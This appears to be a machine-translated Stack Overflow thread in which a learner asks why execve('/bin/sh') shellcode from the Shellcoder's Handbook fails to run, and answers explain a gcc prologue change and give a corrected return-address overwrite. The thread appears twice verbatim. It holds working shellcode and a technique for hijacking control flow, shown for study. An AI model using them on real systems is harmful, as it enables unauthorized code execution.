简单的 shellcode 不起作用
Simple shellcode not working
我有以下代码应该删除 shell,但是,在我 运行 之后,代码似乎没有任何反应。这是我的代码。这取自 shell 编码员手册。
`
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}`
我用gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
编译
当我 运行 它发生以下情况。
预期结果如下。
这是产生上述结果的代码:
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
我不确定为什么会这样。我在 Windows 10 上使用 Ubuntu。这可能不会影响我的结果,但我已禁用 ASLR。这可能是个问题。我还没有在虚拟机上试过这个。在我这样做之前,我想尝试弄清楚为什么这不起作用。如果不清楚,请告诉我,我很乐意澄清任何细节。
非常感谢您提前提供的所有帮助。
--更新--
我能够从我提供的shell代码中获得汇编指令。
有没有人看到任何导致 shell 不被删除的问题?
这里有几件事可能会出错:
- shell代码地址的存储被优化掉了,因为它是从堆栈变量派生的,之后没有任何东西从堆栈中读取。
- 商店被优化掉了,因为它越界了。
- 从局部变量计算的偏移量是错误的,所以shell代码地址没有覆盖return地址。 (这就是我编译您的示例时发生的情况。)
- 执行是重定向,但是shell代码没有运行,因为它位于不可执行的
.data
段。 (不过,这会导致进程以信号终止)。
在一位同事的帮助下,我们能够找出 shellcode 未执行的原因。 shellcode 很好,问题实际上是对 gcc 编译器的更新,它改变了代码执行时 prolog/epilog 的处理方式。当程序启动时,编译器生成的代码将 return 地址放在堆栈上,但它使用新模式执行此操作。正在执行的程序不再直接使用 return 地址,而是将其弹出到指令指针 (IP) 中。相反,它将堆栈值弹出到 %ecx
,然后使用地址 %ecx-4
(对于 32 位机器)处的内容作为 return 地址。因此,即使关闭保护,我尝试做的方式也永远不会奏效。此行为仅影响 main()
而不是 main 调用的函数。因此,一个简单的解决方案是将 main 的内容放入另一个函数 foo()
并从 main() 调用 foo() ,如下所示。
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)shellcode;
}
int main()
{
foo();
}
这是一个与此答案相关的问题。
Understanding new gcc prologue
我有以下代码应该删除 shell,但是,在我 运行 之后,代码似乎没有任何反应。这是我的代码。这取自 shell 编码员手册。
`
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}`
我用gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
当我 运行 它发生以下情况。
预期结果如下。
这是产生上述结果的代码:
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
我不确定为什么会这样。我在 Windows 10 上使用 Ubuntu。这可能不会影响我的结果,但我已禁用 ASLR。这可能是个问题。我还没有在虚拟机上试过这个。在我这样做之前,我想尝试弄清楚为什么这不起作用。如果不清楚,请告诉我,我很乐意澄清任何细节。
非常感谢您提前提供的所有帮助。
--更新--
我能够从我提供的shell代码中获得汇编指令。
有没有人看到任何导致 shell 不被删除的问题?
这里有几件事可能会出错:
- shell代码地址的存储被优化掉了,因为它是从堆栈变量派生的,之后没有任何东西从堆栈中读取。
- 商店被优化掉了,因为它越界了。
- 从局部变量计算的偏移量是错误的,所以shell代码地址没有覆盖return地址。 (这就是我编译您的示例时发生的情况。)
- 执行是重定向,但是shell代码没有运行,因为它位于不可执行的
.data
段。 (不过,这会导致进程以信号终止)。
在一位同事的帮助下,我们能够找出 shellcode 未执行的原因。 shellcode 很好,问题实际上是对 gcc 编译器的更新,它改变了代码执行时 prolog/epilog 的处理方式。当程序启动时,编译器生成的代码将 return 地址放在堆栈上,但它使用新模式执行此操作。正在执行的程序不再直接使用 return 地址,而是将其弹出到指令指针 (IP) 中。相反,它将堆栈值弹出到 %ecx
,然后使用地址 %ecx-4
(对于 32 位机器)处的内容作为 return 地址。因此,即使关闭保护,我尝试做的方式也永远不会奏效。此行为仅影响 main()
而不是 main 调用的函数。因此,一个简单的解决方案是将 main 的内容放入另一个函数 foo()
并从 main() 调用 foo() ,如下所示。
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)shellcode;
}
int main()
{
foo();
}
这是一个与此答案相关的问题。 Understanding new gcc prologue